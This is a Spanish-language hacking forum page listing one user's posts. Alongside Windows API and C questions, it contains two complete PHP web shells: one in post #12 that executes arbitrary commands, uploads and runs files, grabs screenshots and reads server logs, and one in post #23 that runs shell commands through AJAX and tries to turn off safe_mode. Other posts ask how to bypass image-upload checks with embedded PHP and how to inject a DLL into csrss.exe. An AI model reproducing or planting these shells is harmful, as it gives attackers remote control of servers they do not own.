Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - dRak0

#1
Foro Libre / f
19 Agosto 2015, 00:39 AM
f
#2
Foro Libre / f
30 Octubre 2014, 04:47 AM
f
#3
Foro Libre / f
18 Septiembre 2014, 21:18 PM
f
#4
Foro Libre / a
18 Septiembre 2014, 15:54 PM
a
#5
Tenia algo de tiempo y me puse a repasar algunas cosas

Aca el codigo:


HANDLE snapshot,snapshotModule=NULL;

PROCESSENTRY32 processEntry;
MODULEENTRY32 moduleEntry;
if((snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0))==NULL){
printf("\n%s","FAIL!!!!SNAPSHOTCREATE");
return 0;

}

processEntry.dwSize=sizeof(PROCESSENTRY32);
moduleEntry.dwSize=sizeof(MODULEENTRY32);

while(Process32Next(snapshot,&processEntry)==TRUE)
{
printf("\nPID:%d\nExe:%s\n",processEntry.th32ProcessID,processEntry.szExeFile);
if(snapshotModule=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,processEntry.th32ProcessID))
{
while(Module32Next(snapshotModule,&moduleEntry)==TRUE)
printf("%s %s %d\n",moduleEntry.szModule,moduleEntry.szExePath,moduleEntry.th32ProcessID);
}
}

return 0;




->gcc.exe archivo.c -o archivo . OK
->archivo.exe | more

Ok. Fijense que me devuelve siempre el mismo PID en los modulos... Ese es el problema y no entiendo porque.

Saludos.
#6
¿Si modifico el OPTIONAL_HEADER , el DLL_CHARACTERISTICS exactamente , quedaria deshabilitado totalmente el ASLR del binario?

PD:Estoy hablando del formato de binario PE.
PD2:Si , ya lo comprobe , queda deshabilitado.
Saludos!

------------------------------------------

Consulta 2

Tengo lo siguiente:


#include <stdio.h>
#include <windows.h>

int main(int argc,char**argv)
{
PIMAGE_DOS_HEADER dosHeader;
PIMAGE_NT_HEADERS ntHeader;
HANDLE handleArchivo,mapeadoArchivo=NULL;
LPVOID direccionMapeado=NULL;
char nombreArchivo[MAX_PATH];

printf("Ingrese el archivo:");
scanf("%s",nombreArchivo);

/*
HANDLE WINAPI CreateFile(
 _In_      LPCTSTR lpFileName,
 _In_      DWORD dwDesiredAccess,
 _In_      DWORD dwShareMode,
 _In_opt_  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
 _In_      DWORD dwCreationDisposition,
 _In_      DWORD dwFlagsAndAttributes,
 _In_opt_  HANDLE hTemplateFile
);
*/

handleArchivo=CreateFile(nombreArchivo,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(handleArchivo==INVALID_HANDLE_VALUE)
{
printf("\n%s\n","Error!");
return 0;
}
/*
HANDLE WINAPI CreateFileMapping(
 _In_      HANDLE hFile,
 _In_opt_  LPSECURITY_ATTRIBUTES lpAttributes,
 _In_      DWORD flProtect,
 _In_      DWORD dwMaximumSizeHigh,
 _In_      DWORD dwMaximumSizeLow,
 _In_opt_  LPCTSTR lpName
);
*/


mapeadoArchivo=CreateFileMapping(handleArchivo,NULL,PAGE_READONLY,0,0,NULL);
if(!mapeadoArchivo)
{
printf("\n%s\n","Error!");
return 0;
}

/*
LPVOID WINAPI MapViewOfFile(
 _In_  HANDLE hFileMappingObject,
 _In_  DWORD dwDesiredAccess,
 _In_  DWORD dwFileOffsetHigh,
 _In_  DWORD dwFileOffsetLow,
 _In_  SIZE_T dwNumberOfBytesToMap
);

*/

direccionMapeado=MapViewOfFile(mapeadoArchivo,FILE_MAP_READ,0,0,0);

dosHeader=(PIMAGE_DOS_HEADER)direccionMapeado;

printf("\n%x MZ , PE Header offset :0x%x\n",dosHeader->e_magic,dosHeader->e_lfanew);

ntHeader=(PIMAGE_NT_HEADERS)(direccionMapeado+dosHeader->e_lfanew);

printf("PE SIGNATURE:%x Machine:%x",ntHeader->Signature,ntHeader->FileHeader.Machine);
printf("\nDireccion Mapeado:%x   ImageBase:%x",direccionMapeado,ntHeader->OptionalHeader.ImageBase);


char a[MAX_PATH];
scanf("%s",a);

}



Funciona lo mas bien , no tiene mucha vuelta. Mi pregunta es , ¿porque la direccion de mapeado es diferente al ImageBase?Segun tengo entendido el ImageBase es la direccion que le indicamos al loader donde empezar a mapear.La unico que se me viene es que justo haya estado ocupado ese lugar y el loader haya asignado otra direccion. Aclarenme esto.
Gracias
#7
GNU/Linux / WGET Problema
5 Agosto 2014, 23:09 PM
Queria saber si se puede descargar un archivo a un servidor remoto.

Por ejemplo: wget -c http://bajobasura.com/descarga.pdf . Esto me lo descarga a mi maquina. La idea es descargar a una maquina que se encuentra en mi lan.

Saludos.
#8
Foro Libre / Nerdcore
5 Agosto 2014, 20:10 PM
Conozcan a este cantante

[youtube=640,360]http://www.youtube.com/watch?v=FoUWHfh733Y[/youtube]

Even out settle score quick
My disaster recovery requires even more disks
Put your bytes up, prove it or you forfeit
Got my C64 and we blew it into orbit.

M. Bison with eight straight perfects
Overload emotions make hate, break circuits
In case you heard, it's a name fake service
Optimize our runtime to escape verdicts

Got an integer scope flow
That they can't sign
Passing code, didn't sanitize
Command lines; land mine

So before, they'll see me after
I'm Advice dog,
Courage Wolf,
Plus Philosoraptor

Don't prove we're human unless we really hafta
My team built schemes that destroyed recaptcha
Hate what they see, finish this chapter
By the way we're not any geeks, we hack into NASA

Drink all the booze
Hack all the things
Drink all the booze
Hack all the things
Drink all the booze
Hack all the things

Got this Vodka and this Redbull
They still give me wings

So we Drink all the booze
Hack all the things
Drink all the booze
Hack all the things
Drink all the booze
Hack all the things

Zero through Three
We're in every single ring

I'm just waiting until my blackberry dies
Cause I'll replace it with a raspberry pi

Don't compare to this track
It makes everything they said dull
Neutralize any threat
Turn Red skull to dev null

They killed virus writers that we mentioned
But instead they ascended to the VXHeavens
To reincarnate as live wires
Still inside we hide ciphers in signed device drivers

Which school will we hit next?
They didn't learn the format
So we've gotta printf
Next step is a chin check
Freestyles that I spit best
They didn't decrypt yet

I crush internet MC's in rhyme battles
Get your WiFi tackled
Hak5 Pineapple
I don't think you'll like my snapple
Cause I popped it with vodka
And a cyanide capsule

We Drink all the booze
Hack all the things
Drink all the booze
Hack all the things
Drink all the booze
Hack all the things

Got this Vodka and this Redbull
They still give me wings

So we Drink all the booze
Hack all the things
Drink all the booze
Hack all the things
Drink all the booze
Hack all the things

First we Drink all the booze
Then we Hack all the things
Then backdoor the firmware
On anything you bring

Regardless of the hardware, service, or encoding
Connected it to the internet
And someone's gonna own it

This is for the pirates who clap
And love the sound
Attacking from the cloud
Then we're back in underground

There's no masking from us now
We pop Tor nodes around the globe
Track and hunt you down
Hacked on schedule, add it to your calendar
Devices online; here comes another challenger

State infiltrated, so undercover
This is for my comrades who stare at their debuggers
And trace every buffer
Examining the code flow
Haven't been to sleep? Better pop another No-Doz

I think I'll need a planet sized urn
Cause some men just wanna see the world burn
Your turn

Drink all the booze
Hack all the things
Drink all the booze
Hack all the things
Drink all the booze
Hack all the things

Got this Vodka and this Redbull
They still give me wings

So we Drink all the booze
Hack all the things
Drink all the booze
Hack all the things
Drink all the booze
Hack all the things

Zero through Three
We're in every single ring
#9
Que tal , estaba repasando un poco las funciones de kernel32 y , no se porque , no me funciona Beep.


#include <stdio.h>
#include <windows.h>

int main(int argc,char **argv)
{
typedef int (*punteroExitProcess)(UINT);
typedef int (*punteroBeep)(DWORD,DWORD);
typedef DWORD (*punteroGetCurrentProcessId)(void);
HMODULE dirKernel32=GetModuleHandle("kernel32.dll");
punteroExitProcess punteroExit=NULL;
punteroBeep punteroBep=NULL;
punteroGetCurrentProcessId GetCurrentProcessId2=NULL;
punteroExit=(punteroExitProcess)GetProcAddress(dirKernel32,"ExitProcess");
punteroBep=(punteroBeep)GetProcAddress(dirKernel32,"Beep");
GetCurrentProcessId2=(punteroGetCurrentProcessId)GetProcAddress(dirKernel32,"GetCurrentProcessId");
printf("Kernel32:%p\nExitProcess:%p\nBeep:%p\nGetCurrentProcessId:%p\n",dirKernel32,punteroExit,punteroBep,GetCurrentProcessId2);
printf("PID=%d\n",GetCurrentProcessId2());
punteroBep(1000,3000);
punteroExit(0);

}


Perdonen los nombres.La idea era obtener la direccion en memoria de kernel32 y jugar un poco con las funciones de este , a travez de punteros a funciones. Claro que hay formas mas faciles , solo era para repasar un poco.
#10
Bueno como dice el titulo , que tal una sección sobre ciencia? (Matematica , quimica , fisica ,etc).

Creo que la mayoria de aqui , seguramente estudia una carrera relacionada a la informatica y la mayoria de las carreras tienen esto. Ademas podriamos postear algoritmos relacionados a esas areas , nose , creo que estaria bueno.

Entenderia perfectamente que no se abra debido a que es un foro sobre computacion/hacking , pero bueno , mejor intentar que no intentar.



PD:Otra cosa que no vi , es una sección de S.O en general , con esto me refiero al diseño y implementacion de sistemas operativos.
#11
Hola que tal , estaba intentando inyectar una dll en el proceso csrss.exe. Me devuelve en el OpenProcess() acceso denegado. El codigo esta bien ya que lo pruebo para otros procesos y funciona a la perfeccion. Supongo que el csrss.exe tiene proteccion de windows , ¿alguno tiene idea sobre dicha proteccion?

Gracias.
#12
PHP / Desarrollando shell.
28 Noviembre 2013, 04:19 AM
Les dejo un intento de shell que estoy armando , esta muy basica por ahora.... Ire actualizando cuando tenga tiempo y la vaya arreglando.

<?php

echo "<form method='POST' action='shell.php'>Origen:<input type='text' name='copiar_origen' /><br/>
  Destino:<input type='text' name='copiar_destino' /><br/>
  <input type='submit' value='Copiar'/></form>"
;
/*Copiar!*/
if((@$_POST['copiar_destino'] && @$_POST['copiar_origen'])!="")
{
$destino=$_POST['copiar_destino'];
$origen=$_POST['copiar_origen'];
if(
copy($origen,$destino))
{
echo "Se copio.";
}
else
{
echo "No se copio";
}
}

echo 
"<form method='POST' action='shell.php'>
  <input type='text' name='directorio' id='directorio'/>
  <input type='submit' value='Listar'/>
  </form>
  "
;
/*Directorio*/
if(@$_POST['directorio']!="")
{
$directorio_actual=$_POST['directorio'];
echo 
$directorio_actual;

if(
is_dir($directorio_actual))
{
$directorio=opendir($directorio_actual);
echo "<br/><h1>Archivos del directorio</h1><ul>";
while(false!==($archivo=readdir($directorio)))
{
$rutaentera=$directorio_actual.DIRECTORY_SEPARATOR.$archivo;
if(is_dir($rutaentera))
{
echo "<li onClick="."\"document.getElementById('directorio').value='".$directorio_actual.DIRECTORY_SEPARATOR.$archivo."'\">".$archivo.' Tipo:directorio</li>';

}
else
{
echo $archivo." Tamano:".filesize($rutaentera)." bytes. Tipo:".filetype($rutaentera)."<br />";
}
}
echo "</ul>";
}
closedir($directorio_actual);
}

/*Comandos*/
echo "<form method='POST' action='shell.php'>
  Comando:<input type='text' name='comando' /><input type='submit' value='Enviar'/><br/>
  Exec<input type='radio' name='ph' value='exec'/><br/>
      System<input type='radio' name='ph' value='system'/><br/>
  </form>"
;

if(@
$_POST['comando']!="")
{
$comando=$_POST['comando'];
if(($_POST["ph"])=="exec")
{
echo exec($comando);
}
else if(($_POST["ph"])=="system")
{
system($comando,$resultado);
echo "<pre>".$resultado."</pre>";
}
}

/*Ejecutar archivos*/
echo "<form method='POST' action='shell.php'>
  Archivo:<input type='text' name='archivo'/>
  <input type='submit' value='Ejecutar'/>"
;

if(@
$_POST['archivo']!="")
{
if(
pclose(popen($_POST['archivo'],"r")))
{
echo "Se ejecuto.";
}
else
{
echo "No se ejecuto";
}
}

/*Informacion*/
echo "<br/>Informacion:".
 "<br/><form method='POST' action='shell.php'>
 PHP.INI<input type='radio' name='info' value='phpini'><br/>
 ID PROCESO<input type='radio' name='info' value='proceso'><br/>
 Nombre usuario<input type='radio' name='info' value='usuario'><br/>
 Constantes Definidas<input type='radio' name='info' value='defcon'><br/>
 PHPINFO<input type='radio' name='info' value='phpinfo'><br/>
 Version Apache<input type='radio' name='info' value='apachever'><br/>
 <input type='submit' value='Obtener!'/></form>"
;
if(@
$_POST['info']=="phpini")
{
echo "Direccion del phpini".php_ini_loaded_file();
echo "<pre>";
print_r(ini_get_all());
echo "</pre>";
}
else if(@
$_POST['info']=="proceso")
{
echo "Id proceso php:".getmypid();
}
else if(@
$_POST['info']=="usuario")
{
echo "Usuario:".get_current_user();
}
else if(@
$_POST['info']=="defcon")
{
echo 
"<pre>";
print_r(get_defined_constants());
echo 
"</pre>";
}
else if(@
$_POST['info']=="apachever")
{
echo apache_get_version();
}
else if(@
$_POST['info']=="phpinfo")
{
echo phpinfo();
}

/*Subir archivo*/
echo "<form method='POST' action='shell.php' enctype='multipart/form-data'>
  Archivo:<input type='file' name='subirarchivo'>
  <input type='submit' name='subir' value='Subir!'/>
  </form>"
;


if(isset(
$_POST['subir']))
{
$nombre=$_FILES["subirarchivo"]['name'];
$tamano=$_FILES["subirarchivo"]['size'];
if(copy($_FILES['subirarchivo']['tmp_name'],$nombre))
{
echo "Se subio";
}
else
{
echo "fail";
}
}
/*Safe mode*/
if(ini_get('safe_mode'))
{
echo "Safe mode:On";
}
else
{
echo "Safe mode:Off";
}
echo 
"<br/>IP:".$_SERVER['SERVER_ADDR'];

/*Espacio disco*/
echo "<form method='POST' action='shell.php'>
  Espacio libre en el disco de:<input type='text' name='ruta' />
  <input type='submit' name='bytes' value='Bytes'/>
  </form>
 "
;
if(isset(
$_POST['bytes']))
{
 
$bytes=disk_free_space($_POST['ruta']);
 
$bits=$bytes*8;
 
$kb=$bytes/1024;
 
$mb=$kb/1024;
 
$gb=$mb/1024;
 
echo "<br/>Bits:".$bits."<br/>Bytes:".$bytes."<br/>Kbytes:".$kb."<br/>Mbytes:".$mb."<br/>Gbytes:".$gb;
}

echo 
"<form method='POST' action='shell.php'>
  Espacio total del disco:<input type='text' name='ruta2'/>
  <input type='submit' name='total' value='TOTAL'/>
  </form>
     "
;
if(isset(
$_POST['total']))
{
$bytes=disk_total_space($_POST['ruta2']);
$bits=$bytes*8;
$kbytes=$bytes/1024;
$mbytes=$kbytes/1024;
$gbytes=$mbytes/1024;
echo "<br/>Bits:".$bits."<br/>Bytes:".$bytes."<br/>Kbytes:".$kbytes."<br/>Mbytes:".$mbytes."<br/>GBytes:".$gbytes;
}
echo 
PHP_OS;

if(
stristr(PHP_OS,'WIN'))
{
echo "<form method='POST' action='shell.php'>
  Direccion donde guardar foto:<input type='text' name='foto'/>
  <input type='submit' name='sacar' value='Sacar foto'/>
  <br/>PNG<input type='radio' name='tipoimagen' value='png'/>
  <br/>JPG<input type='radio' name='tipoimagen' value='jpeg'/>
  <br/>GIF<input type='radio' name='tipoimagen' value='gif'/>
  <br/>Mostrar<input type='checkbox' name='mostrar'/>
  </form>"
;

  if(isset($_POST['sacar'])&& isset($_POST['tipoimagen']))
  {
   $imagen=imagegrabscreen();
   $tipoimagen=$_POST['tipoimagen'];
   $direccion=(stristr($_POST['foto'],'.'.$tipoimagen))?$_POST['foto']:$_POST['foto'].'.'.$tipoimagen;
   $seteado=isset($_POST['mostrar']);
   if($tipoimagen=="png")
   {
   imagepng($imagen,$direccion);
   if($seteado)echo "<br/><img src=\"".$direccion."\"></br>";
   }else if($tipoimagen=="jpeg")
   {
   imagejpeg($imagen,$direccion);
   if($seteado)echo "<br/><img src=\"".$direccion."\"></br>";
   }
   else if($tipoimagen=="gif")
   {
   imagegif($imagen,$direccion);
   if($seteado)echo "<br/><img src=\"".$direccion."\"></br>";
   }
   imagedestroy($imagen);
  }
}

if(
stristr($_SERVER['SERVER_SOFTWARE'],"apache"))
{
echo "<form method='post' action='shell.php'/>
   Directorio apache:<input type='text' name='directorioo'/><br/>
   <input type='submit' name='guachen' value='Mostrar'/>
   </form>"
;
    if((isset(
$_POST['guachen']) && $_POST['directorioo']!=""))
    {
    
$directorio=($_POST['directorioo']).DIRECTORY_SEPARATOR."logs".DIRECTORY_SEPARATOR;
    
function mostrar($esa)
    
{
    
$directorio=($_POST['directorioo']).DIRECTORY_SEPARATOR."logs".DIRECTORY_SEPARATOR;
    
$handle=fopen($directorio.$esa,"r");
    
while(!feof($handle))
    
echo "<br/>".fgets($handle);
    
fclose($handle);
    
}
    
echo "Access log:";
    
if(file_exists($directorio."access.log"))
    
{
    
mostrar("access.log");
        }else{
     
"No existe<br/>";
 
}
    

    
echo "Error log:";
    
if(file_exists($directorio."error.log"))
    
{
    
mostrar("error.log");
    
}
    
else
    
{
    
echo "No existe.<br/>";
    
}
    
if(file_exists($directorio."install.log"))
    
{
    
mostrar("install.log");
    
}
    
else
    
{
    
echo "No existe.<br/>";
    
}

    }
}


?>
#13
Nivel Web / Bypass getimagesize() Pregunta.
27 Noviembre 2013, 02:43 AM
Buenas! Espero que anden bien . Ando tratando de bypassear un upload de imagenes que utilize esto como medida de seguridad. Leyendo por LAAAAAAAAAA INTERNET , encontre que la bypassean agregando en algun metadato de la imagen codigo php y luego renombran el archivo a .php. Sin embargo esto no me funciona y nose xq. El codigo php que ingrese en el metadato se inserto en los datos de la imagen pero no tengo idea porque no se ejecuta el php.

Mi imagen

http://paste.debian.net/?show=105175;lines=0

Como veran se inserto... nose porque no me funciona. Lo ejecuto como bypass.php
#14
Nivel Web / Pregunta , esto es un xss?
25 Noviembre 2013, 17:12 PM
Miren estaba creando una publicacion y se me ocurrio meterle javascript , cuando le meto codigo JS ,me lo cambio al famoso less than gt , todo venia normal , pero luego edite codigo y le cambie el less than y gt por el <, > , creo la publicacion y cuando entro al blog , entro a esa publicacion, me aparece el famoso alert :P . Es un bug? o esta bien que el dueño del blog pueda meter JS perjudicial para el usuario?
#15
PHP / Funciones PHP
18 Noviembre 2013, 18:20 PM
¿Como hago para ver como estan hechas las funciones en php? (Ver el codigo en c de cada una)

Gracias.
#16
Bugs y Exploits / Ayuda format string
31 Julio 2013, 13:16 PM
Tengo el siguiente codigo:

#include <stdio.h>

int main()
{
char hola[]="AAAA";
printf(hola);
}



Bueno , segun entendi , si no lo especificamos de la manera printf("%s",hola) , podriamos pedir direcciones de memoria q estan en la pila hasta llegar a la de nuestra variable , de esta forma

#include <stdio.h>

int main()
{
char hola[]="AAAA %p %p %p %p %p";
printf(hola);
}


Esto nos va a dar 5 direcciones de memoria  , si no encontramos 0x41414141(AAAA) seguimos poniendo mas %p , hasta encontrarlas.
Hasta ahi todo bien. Encuentro 0x41414141 .Despues de ahi nose q mas hacer.
Duda :
No entiendo , cambio el valor de una direccion en memoria o estoy metiendo la direccion de memoria(Supongo q es la ultima).

#17
Hola que tal , como les va , espero que bien. Bueno voy a la pregunta .
Tengo el siguiente codigo :

#include <stdio.h>

main()
{
int i,array1[5]={0,1,2,3,4};
int* ptrArray1;
ptrArray1=array1;
    for(i=0;i<5;i++)
    printf("\nDesplazamiento del puntero por el array %d.Direccion: %p",*(ptrArray1+i),(ptrArray1+i));

}



El resultado es :

Desplazamiento del puntero por el array 0.Direccion: 0028FEF4
Desplazamiento del puntero por el array 1.Direccion: 0028FEF8
Desplazamiento del puntero por el array 2.Direccion: 0028FEFC
Desplazamiento del puntero por el array 3.Direccion: 0028FF00
Desplazamiento del puntero por el array 4.Direccion: 0028FF04


Perfecto el codigo funca bien todo , ahora , la pregunta. ¿Porque cada vez que corro este programa la direccion en memoria del primer elemento del array es la misma? (Al ser siempre la primera la misma , las otras son iguales xq son consecutivas a esta ).

Gracias.
#18
.NET (C#, VB.NET, ASP) / Problema Sockets C#
20 Mayo 2013, 06:15 AM
int iFil = 0, iCol = 0;
                socket.Receive(bytes);
                iFil = System.Convert.ToInt32(System.Text.Encoding.ASCII.GetString(bytes));
                socket.Receive(bytes);
                iCol = System.Convert.ToInt32(System.Text.Encoding.ASCII.GetString(bytes));


Problema:Me tira error de parseo.
#19
ASM / Libro de ASM para linux.
11 Enero 2013, 04:04 AM
Hola que tal , estoy buscando algun libro de asm 32 bits para linux, ensamblador NASM.

Saludos.
#20
GNU/Linux / System calls kernel 3.2.34
6 Enero 2013, 08:24 AM
Hola que tal , estaba buscando todos los system calls para el kernel 3.2.34 .
Encontre para el kernel 2.2 , http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html, fijense en el link para darse una idea de lo que estoy buscando.

Gracias y disculpen mi ignorancia.
#21
PHP / ini_set() consulta..
19 Diciembre 2012, 20:03 PM
Suponiendo que tenemos en nuestro php.ini allow_url_include=On


<?php
echo ini_get('allow_url_include'); //Perfecto deberia devolver 1
ini_set('allow_url_include',0);
echo 
ini_get('allow_url_include'); //Deberia devolver 0  , pero devuelve 1..
?>




Queria saber cuales son las razones q el resultado de este codigo sea 11.

Es una directiva cambiable de tipo PHP_INI_ALL deberia poder cambiarse desde cualquier lugar.. no comprendo.
#22
PHP / Problema include()
19 Diciembre 2012, 19:03 PM
Hola que tal , aprendiendome las directivas del php.ini me encontre con allow_url_fopen y allow_url_include , las cuales , segun lo q entendi , te permiten incluir archivos remotos y se aplican en funciones como include() , include_once() , require() y require_once().

Bueno el problema surge probando como funciona esto , al hacer un include(direccion web del archivo remoto) me tira un error 500 , a pesar de tener en el php.ini allow_url_fopen=On y allow_url_include=On , nose cual es el problema..

Ademas tengo otra pregunta , es apartir de esto que surge el RFI(Remote file inclucion) , osea de un include($_GET['archivoaincluir']) ?

Espero sus respuestas!

Gracias por tu tiempo .
#23
Nivel Web / Ejecutar comandos ! Ajax + PHP +Css :)
14 Diciembre 2012, 16:51 PM
Subir estos archivos:
Buen estaba aburrido y dije me voy a poner a hacer una shell , aca una parte pequeña de mi shell.


ejecutar.php


<html>
<head>
<style type="text/css">
body
{
font-size:1.2em;
font-family:"Lucida Console", Lucida, monospace;
font-style:italic;
background-color:black;
color:yellow;
margin:10px;
padding:0px;
}
#jed
{
color:red;
font-family:"Lucida Console", Lucida, monospace;
}
#miDiv
{
color:red;
font-family:"Lucida Console", Lucida, monospace;
font-size:1.2em;
font-style:italic;
}
#comando
{
color:red;
border:none;
font-size:1.2em;
font-style:italic;
background-color:black;
font-family:"Lucida Console", Lucida, monospace;
}
</style>
<script>
function validar(e)
{
 if(document.all)
 {
   tecla=e.keyCode;
 }
 else
 {
   tecla=e.which;
 }
 if(tecla==13)
 {
   ajax();
 }
}
function ajax()
{
var xmlhttp;
t1=document.getElementById('comando').value;
if(window.XMLHttpRequest)
 {
 xmlhttp=new XMLHttpRequest();
 }
else
 {
 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
 }
xmlhttp.onreadystatechange=function()
 {
 if (xmlhttp.readyState==4 && xmlhttp.status==200)
   {
   document.getElementById("miDiv").innerHTML=xmlhttp.responseText;
   }
 }
xmlhttp.open("POST","comando.php",true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("comando="+t1);
}
</script>
</head>
<body>
Written by J3dN4k! Argentinian4EVER.
twitter/jednakk<br /><br />
<div id="jed">J3dN4k><input type="text" id="comando" name="comando" onkeypress="validar(event)"></input>
<!--<button type="button" onclick="ajax()">Enviar</button><br />-->
</div>
<b>
<div id="miDiv">


</div>
</b>
</body>
</html>




comando.php


<?php
$q
=$_POST['comando'];

if(
ini_get('safe_mode'))
{
ini_set('safe_mode','0');
}
if(
function_exists('shell_exec'))
{
$result=shell_exec($q);
}
elseif(
function_exists('exec'))
{
exec($q,$result);
}
elseif(
function_exists('system'))
{
system($q,$result);
}
else
{
$result="Todas las funciones de ejecutar comandos estan deshabilitadas por el server";
}




if(
strlen($result)>0)
{
$response=$result;
}
else
{
$response="Usted ha introducido un comando erroneo !(Bad command)";
}
echo 
"<pre>".$response."<br />J3dN4k></pre>";
?>